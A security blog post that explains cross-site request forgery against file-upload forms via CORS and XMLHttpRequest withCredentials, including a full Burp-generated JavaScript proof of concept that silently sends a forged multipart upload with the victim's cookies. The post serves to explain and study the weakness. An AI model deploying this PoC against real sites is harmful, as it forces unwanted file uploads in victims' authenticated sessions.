Recently I wanted to do a Cross Site Request Forgery Proof-of-Concept for a file upload functionality. As you might know it is not necessarily as easy as simple form CSRFs.The problem is that you can create a fake form which will send almost the same request as a browser file upload when submitted but there is a very little difference. Which is that the part of the request where the file content is, will have a ‘filename’ parameter as here:

          -----------------------------256672629917035
          Content-Disposition: form-data; name="file"; filename="test2.txt"
          Content-Type: text/plain          
          test3
          -----------------------------256672629917035

If you want to create a plain HTML form to copy this request it is not possible to add this ‘filename’ parameter to it, because that is generated only when the file upload input is used. So this would be actually good because it stops the evil hackers to upload files with CSRF. But HTML5 hurried to our aid very fast.

I consider HTML5 a really good technology but we can agree in that that it doesn’t always help the security. One particular mechanism that is important in this case, is called Cross-origin resource sharing (CORS http://www.w3.org/TR/cors/). This is an interesting set of features which would allow browsers to collect the site content from different domains and the domain have some control on whether to serve the browser or to allow it to show the content. This sounds nice but what is the problem?

The problem is that in the past, hackers couldn’t use JavaScript to access other domains due to the same origin policy. Given the number of Cross Site Scripting vulnerabilities around the world this little feature made our life generally more secure. And here comes HTML5 with CORS and their best friend the XmlHttpRequest attribute called ‘withCredentials’. This is a boolean value and with it we can simply ask the browser from JavaScript to attach the cookies of other domains to our XmlHttpRequest.

So what does that have to do with our file upload CSRF. In this example we can create a CSRF page with JavaScript to send the request and with that we can create an absolutely valid file upload HTTP request with the missing ‘filename’ attribute. Note that another improvement is that since we are talking about JavaScript we (the evil attackers) don’t have to trick the user anymore to click the submit button because the JavaScript can do that, so if the user loads the page the attack will be executed without interaction.

And as I was studying this attack it turned out the Burp had released a new version the day before which supports JavaScript PoC generation for file uploads. So I didn’t even had to write the code myself which made me a bit sad but it was definitely faster. So here is an example PoC generated by Burp:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "https://example.com/new_file.html", true);
        xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "de-de,de;q=0.8,en-us;q=0.5,en;q=0.3");
        xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------256672629917035");
        xhr.withCredentials = "true";
        var body = "-----------------------------256672629917035\r\n" +
          "Content-Disposition: form-data; name=\"message\"\r\n" +
          "\r\n" +
          "\r\n" +
          "-----------------------------256672629917035\r\n" +
          "Content-Disposition: form-data; name=\"backPage\"\r\n" +
          "\r\n" +
          "test\r\n" +
          "-----------------------------256672629917035\r\n" +
          "Content-Disposition: form-data; name=\"dataType\"\r\n" +
          "\r\n" +
          "test  \r\n" +
          "-----------------------------256672629917035\r\n" +
          "Content-Disposition: form-data; name=\"file\"; filename=\"test2.txt\"\r\n" +
          "Content-Type: text/plain\r\n" +
          "\r\n" +
          "test3\r\n" +
          "-----------------------------256672629917035--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i);
        xhr.send(new Blob([aBody]));
      }
    </script>
    <form action="#">
      <input type="submit" value="Submit request" onclick="submitRequest();" />
    </form>
  </body>
</html>

With this HTML code you can create a CSRF attack to upload files to the target server. Although Burp creates the PoC with a submit button but due to the use of JavaScript it is absolutely unnecessary. The request could be sent immediately without any user interaction, so compared to the old CSRFs where the user had to open a web site and submit a form with this it is enough if we can get the user to open our malicious page, the attack will be triggered immediately and execute the CSRF.

To summarize it, I think it is sad that one of the most important security feature of browsers (same-origin policy) is somewhat ruined.

Further reading:

http://blog.kotowicz.net/2011/05/cross-domain-arbitrary-file-upload.html
http://blog.kotowicz.net/2011/04/how-to-upload-arbitrary-file-contents.html
https://developer.mozilla.org/en-US/docs/HTTP/Access_control_CORS?redirectlocale=en-US&redirectslug=HTTP_access_control
http://www.w3.org/TR/cors/